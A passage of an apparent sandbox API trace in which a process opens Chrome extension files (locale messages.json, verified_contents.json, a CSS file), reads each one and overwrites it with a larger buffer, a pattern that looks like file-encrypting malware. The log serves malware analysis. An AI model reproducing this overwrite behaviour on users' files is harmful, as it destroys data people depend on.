lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737c58*, lpNumberOfBytesRead=0x32cf2bc*=0xe5, lpOverlapped=0x0) returned 1 [0057.743] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.743] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66d, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x66d, lpOverlapped=0x0) returned 1 [0057.743] CloseHandle (hObject=0x12c) returned 1 [0057.743] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.744] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.744] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xde [0057.744] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.744] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.744] ReleaseMutex (hMutex=0x128) returned 1 [0057.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.744] ReadFile (in: hFile=0x12c, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x32cf2bc*=0xde, lpOverlapped=0x0) returned 1 [0057.745] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.745] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x666, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x666, lpOverlapped=0x0) returned 1 [0057.745] CloseHandle (hObject=0x12c) returned 1 [0057.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.746] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.746] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2b56 [0057.746] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.746] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.746] ReleaseMutex (hMutex=0x128) returned 1 [0057.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0057.746] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="verified_contents.json", cchWideChar=22, lpMultiByteStr=0x1e786cc, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="verified_contents.json", lpUsedDefaultChar=0x0) returned 22 [0057.746] ReadFile (in: hFile=0x12c, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.748] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1b56 [0057.748] ReadFile (in: hFile=0x12c, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0057.748] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1b56 [0057.749] WriteFile (in: hFile=0x12c, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.749] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0057.749] WriteFile (in: hFile=0x12c, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.749] CloseHandle (hObject=0x12c) returned 1 [0057.750] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.750] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.750] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xa7 [0057.750] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.750] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.750] ReleaseMutex (hMutex=0x128) returned 1 [0057.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.750] ReadFile (in: hFile=0x12c, lpBuffer=0x1e36c48, nNumberOfBytesToRead=0xa7, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36c48*, lpNumberOfBytesRead=0x32cf2bc*=0xa7, lpOverlapped=0x0) returned 1 [0057.751] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.751] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x62f, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x62f, lpOverlapped=0x0) returned 1 [0057.752] CloseHandle (hObject=0x12c) returned 1 [0057.752] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.752] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.752] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xcc [0057.752] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.752] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.753] ReleaseMutex (hMutex=0x128) returned 1 [0057.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.753] ReadFile (in: hFile=0x12c, lpBuffer=0x1daea48, nNumberOfBytesToRead=0xcc, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daea48*, lpNumberOfBytesRead=0x32cf2bc*=0xcc, lpOverlapped=0x0) returned 1 [0057.753] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.754] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x654, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x654, lpOverlapped=0x0) returned 1 [0057.754] CloseHandle (hObject=0x12c) returned 1 [0057.754] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.754] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.755] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x11e [0057.755] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.755] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.755] ReleaseMutex (hMutex=0x128) returned 1 [0057.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.755] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.755] ReadFile (in: hFile=0x12c, lpBuffer=0x2644988, nNumberOfBytesToRead=0x11e, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2644988*, lpNumberOfBytesRead=0x32cf2bc*=0x11e, lpOverlapped=0x0) returned 1 [0057.756] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.756] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6a6, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x6a6, lpOverlapped=0x0) returned 1 [0057.756] CloseHandle (hObject=0x12c) returned 1 [0057.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ka\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.757] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.757] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x165 [0057.757] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.757] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.757] ReleaseMutex (hMutex=0x128) returned 1 [0057.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.757] ReadFile (in: hFile=0x12c, lpBuffer=0x2635da8, nNumberOfBytesToRead=0x165, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2635da8*, lpNumberOfBytesRead=0x32cf2bc*=0x165, lpOverlapped=0x0) returned 1 [0057.758] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.758] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6ed, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x6ed, lpOverlapped=0x0) returned 1 [0057.758] CloseHandle (hObject=0x12c) returned 1 [0057.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.759] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.759] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xcb [0057.759] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.759] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.759] ReleaseMutex (hMutex=0x128) returned 1 [0057.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.759] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.759] ReadFile (in: hFile=0x12c, lpBuffer=0x1daea48, nNumberOfBytesToRead=0xcb, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daea48*, lpNumberOfBytesRead=0x32cf2bc*=0xcb, lpOverlapped=0x0) returned 1 [0057.760] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.760] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x653, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x653, lpOverlapped=0x0) returned 1 [0057.760] CloseHandle (hObject=0x12c) returned 1 [0057.760] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.761] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.761] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xc5 [0057.761] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.761] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.761] ReleaseMutex (hMutex=0x128) returned 1 [0057.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.761] ReadFile (in: hFile=0x12c, lpBuffer=0x1daea48, nNumberOfBytesToRead=0xc5, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1daea48*, lpNumberOfBytesRead=0x32cf2bc*=0xc5, lpOverlapped=0x0) returned 1 [0057.762] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.762] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x64d, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x64d, lpOverlapped=0x0) returned 1 [0057.762] CloseHandle (hObject=0x12c) returned 1 [0057.762] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ur\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.763] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.763] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x177 [0057.763] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.763] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.763] ReleaseMutex (hMutex=0x128) returned 1 [0057.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.763] ReadFile (in: hFile=0x12c, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x177, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x32cf2bc*=0x177, lpOverlapped=0x0) returned 1 [0057.764] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.764] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x6ff, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x6ff, lpOverlapped=0x0) returned 1 [0057.764] CloseHandle (hObject=0x12c) returned 1 [0057.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\css\\craw_window.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.765] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.765] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x6cd [0057.765] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, 